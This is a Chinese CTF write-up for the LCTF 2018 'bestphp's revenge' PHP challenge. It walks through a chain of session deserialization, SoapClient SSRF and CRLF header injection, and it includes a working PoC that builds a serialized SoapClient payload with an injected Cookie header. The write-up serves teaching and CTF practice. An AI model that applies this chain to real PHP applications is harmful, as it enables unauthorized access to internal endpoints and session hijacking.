文章目录
- session反序列化+SoapClientSSRF+CRLF
- 前言
- bestphp's revenge
- call_user_func()方法的特性
- SSRF+CRLF组合拳
- session反序列化
- 解题步骤
- 总结
session反序列化+SoapClientSSRF+CRLF
前言
从一道题分析通过session反序列化出发SoapClient
SSRF利用CRLF解题
bestphp’s revenge
首页是index.php
index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
好像没什么利用条件,我们通过目录扫描到
flag.php:
only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!
看这个代码很明显是SSRF
漏洞,我们需要通过ssrf访问:http://127.0.0.1/flag.php
将flag写入session文件中,最后访问index.php
通过var_dump
将flag打印出来
我们接着分析index.php:
call_user_func($args1,$args2)
函数可以将执行名为:$args1
的函数,并且参数为$args2
。
我们需要利用SoapClient
对象去调用不存在的方法,就会触发__call()
方法,从而进行SSRF,将flag写入session。但是怎么才能出发__call()
方法?
call_user_func()方法的特性
当使用
call_user_func()
调用一个函数时,可以将函数名作为字符串或者一个包含两个元素的数组传递给它。如果传递一个数组,那么数组的第一个元素表示要调用的类或对象,第二个元素表示要调用的方法名。
因此,如果我们给call_user_func()
传入一个数组,并且第一个元素是SoapClient
对象,第二个元素为不存在的方法名,就可以触发SSRF漏洞
这里刚好有一个现成的:
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
如果此时$b=call_user_func()
,并且$_SESSION
的第一个元素是SoapClient
对象,那么相当于:
call_user_func(call_user_func,[new SoapClient(...),'welcome_to_the_lctf2018']);
即:
call_user_func([new SoapClient(...),'welcome_to_the_lctf2018'])
调用了SoapClient
对象的welcome_to_the_lctf2018()
方法,但是该方法不存在,于是就触发了SSRF
如何编写这个SoapClient
对象呢?我们此处需要配合CRLF
将flag写入指定的session中
SSRF+CRLF组合拳
poc如下:
<?php
$soap = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php','user_agent'=>"like\r\nCookie: PHPSESSID=leekos\r\n"
,'uri'=>'aaa'));
echo urlencode(serialize($soap));
# O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A32%3A%22like%0D%0ACookie%3A+PHPSESSID%3Dleekos%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
我们在SoapClient的参数的数组中加入user_agent
头,然后\r\n
代表换行,将Cookie
给插入进来,替换为:leekos
(这里有一个非常重要的点,需要使用双引号"
包裹,否则\r\n
不解析)
这样我们的SoapClient
对象的序列化串就编写好了,我们稍后会用到它
我们上面提到$b=call_user_func()
,怎么做到的?我们可以利用第一个call_user_func()
函数,将$_GET['f']=extract
,$_POST=array('b'=>'call_user_func')
这个extract()
函数将$b
覆盖为call_user_func
这样当我们的reset($_SESSION)
是SoapClient
对象时就可以触发ssrf
问题来了,怎么让reset($_SESSION)
是该对象呢?
session反序列化
查询gpt, PHP 7.0.33,默认的 serialize_handler
将是 PHP 内置的 php
那么如果我们此时的serialize_handler=php_serialize
就会将session数据使用serialize()
函数进行序列化,如果我们将传入的数据前加入一个|
,存入session文件后,文件内容大致格式如下:
xxx|O:10:SoapClient{yyy}
当此时我们serialize_handler=php
时,漏洞来了,php处理器会把|
前面的都当作键名,会把后面的O:10:SoapClient{yyy}
反序列化,刚好还原为SoapClient
对象,这时利用链就造好了
怎么让serialize_handler=php_serialize
?
可以借助session_start()
函数,通过call_user_func()
来调用即可
解题步骤
先将序列化数据以php_serialize
处理器存储起来
默认php处理器反序列化导致生成SoapClient
对象,同时调用不存在方法触发ssrf
最后通过自定义的cookie访问即可:
总结
这一个题目的综合性还是挺强的,感觉挺巧妙,用到了session反序列化,php内置类SSRF+CRLF的技巧